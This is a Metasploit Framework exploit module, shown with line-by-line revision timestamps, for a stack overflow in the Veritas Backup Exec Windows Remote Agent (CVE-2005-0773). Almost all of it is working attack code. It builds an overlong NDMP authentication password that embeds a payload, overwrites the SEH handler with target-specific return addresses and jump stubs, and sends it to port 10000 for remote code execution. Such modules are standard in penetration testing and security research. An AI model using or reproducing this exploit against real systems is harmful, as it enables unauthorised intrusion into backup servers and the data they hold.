2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2005-11-27 01:51:50 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::NDMP
|
2005-11-27 01:51:50 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-11-27 01:51:50 +00:00
|
|
|
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a stack overflow in the Veritas
|
2005-11-27 01:51:50 +00:00
|
|
|
BackupExec Windows Agent software. This vulnerability occurs
|
|
|
|
when a client authentication request is received with type
|
|
|
|
'3' and a long password argument. Reliable execution is
|
|
|
|
obtained by abusing the stack overflow to smash a SEH
|
2010-04-30 08:40:19 +00:00
|
|
|
pointer.
|
2005-11-27 01:51:50 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-27 01:51:50 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2005-0773'],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '17624'],
|
|
|
|
[ 'BID', '14022'],
|
2005-11-27 01:51:50 +00:00
|
|
|
[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
|
|
|
|
[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-27 01:51:50 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-27 01:51:50 +00:00
|
|
|
'Veritas BE 9.0/9.1/10.0 (All Windows)',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Rets' => [ 0x0140f8d5, 0x014261b0 ],
|
|
|
|
},
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-27 01:51:50 +00:00
|
|
|
'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Rets' => [ 0x75022ac4, 0x75022ac4 ],
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2005-11-27 01:51:50 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(10000)
|
|
|
|
], self.class)
|
2005-11-27 01:51:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
info = ndmp_info()
|
|
|
|
if (info and info['Version'])
|
|
|
|
print_status(" Vendor: #{info['Vendor']}")
|
|
|
|
print_status("Product: #{info['Product']}")
|
|
|
|
print_status("Version: #{info['Version']}")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
resp = ndmp_recv()
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
username = 'X' * 512
|
2007-03-01 08:21:36 +00:00
|
|
|
password = rand_text_alphanumeric(8192)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
# Place our payload early in the request and jump backwards into it
|
|
|
|
password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
# This offset is required for version 10.0
|
|
|
|
password[3536, 2] = "\xeb\x06"
|
|
|
|
password[3540, 4] = [ target['Rets'][1] ].pack('V')
|
|
|
|
password[3544, 5] = "\xe9" + [-1037].pack('V')
|
|
|
|
|
|
|
|
# This offset is required for version 9.0/9.1
|
|
|
|
password[4524, 2] = "\xeb\x06"
|
|
|
|
password[4528, 4] = [ target['Rets'][0] ].pack('V')
|
2010-04-30 08:40:19 +00:00
|
|
|
password[4532, 5] = "\xe9" + [-2025].pack('V')
|
2005-11-27 01:51:50 +00:00
|
|
|
|
|
|
|
# Create the authentication request
|
|
|
|
auth = [
|
|
|
|
1, # Sequence number
|
|
|
|
Time.now.to_i, # Current time
|
|
|
|
0, # Message type (request)
|
|
|
|
0x901, # Message name (connect_client_auth)
|
|
|
|
0, # Reply sequence number
|
|
|
|
0, # Error status
|
|
|
|
3 # Authentication type
|
|
|
|
].pack('NNNNNNN') +
|
|
|
|
[ username.length ].pack('N') + username +
|
|
|
|
[ password.length ].pack('N') + password +
|
|
|
|
[ 4 ].pack('N')
|
|
|
|
|
|
|
|
print_status("Sending authentication request...")
|
|
|
|
ndmp_send(auth)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|